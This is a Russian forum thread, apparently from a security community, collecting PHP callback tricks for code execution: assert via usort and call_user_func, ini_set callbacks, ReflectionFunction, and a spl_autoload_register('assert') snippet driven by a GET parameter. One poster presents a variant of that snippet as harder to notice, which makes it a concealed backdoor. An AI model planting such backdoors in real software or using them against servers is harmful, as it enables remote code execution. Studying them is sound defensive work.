PHP функции использующие Callback function

[Pashkela]

Ну и так, размышления вслух:

если в большинство из этих функций удастся передать что-то вроде {${phpinfo()}} (там, где используется call_user_func), просто, в любое место в массиве, то код выполнится (правда тут двойные кавычки принципиальны).

PS: может и бред, но пусть будет ^_^

примеры:

PHP код:

array_map('1', array("{${phpinfo()}}")); 


PHP код:

<?php 
function s($a, $b){
    return strcmp($b[1], $a[1]);
}
usort($c = array("{${phpinfo()}}", '1'), 's'); 
?>

и еще один по поводу usort - кол-во элементов в массиве не имеет значения, главное соблюсти последовательсноть:

PHP код:

<?php 
$c = array(1,2,3,'phpinfo()',4,5,'assert',6,7);
usort($c, 'call_user_func'); 
?>

[oRb]

Pashkela, 2 твоих первых примера работаю не из-за callback'ов, а из-за использования complex expressions (http://ru2.php.net/manual/en/language.types.string.php).
Достаточно простого:

"{${phpinfo()}}";

, чтобы вызвать функцию.

[Dr.Z3r0]

set_exception_handler PHP>5

PHP код:

function handler($exception) {
    echo "Exception: ".$exception->getMessage();
}
set_exception_handler('handler');

throw new Exception('exception'); 


Вот еще интересный пример (ini_set + unserialize)
(калбек вызывается при попытке десериализовать необъявленный класс - масса вариантов использования )

PHP код:

function foo($classname) {
    die(__FUNCTION__);
}
ini_set('unserialize_callback_func','foo');

$ser='O:1:"a":1:{s:5:"value";s:3:"100";}';
unserialize($ser); 


Еще похожий пример (ini_set + assert):

PHP код:

function foo(){
    die(__FUNCTION__);
}
ini_set('assert.callback', 'foo');

assert(0); 


[BlackFan]

Меня вот такой вариант прикалывает)

PHP код:

spl_autoload_register("assert");
$f = $_GET['c'];
new $f(); 


http://test/?c=phpinfo()

Ну или если не так сильно палиться

PHP код:

spl_autoload_register("assert");
if(class_exists($_GET['c'])) {
...
} 


[Pashkela]

PHP код:

$func = new ReflectionFunction('assert');
var_dump($func->invoke('phpinfo()')); 


[HeartLESS]

header_register_callback('phpinfo');

пять символов

[Beched]

Спущено из lvl1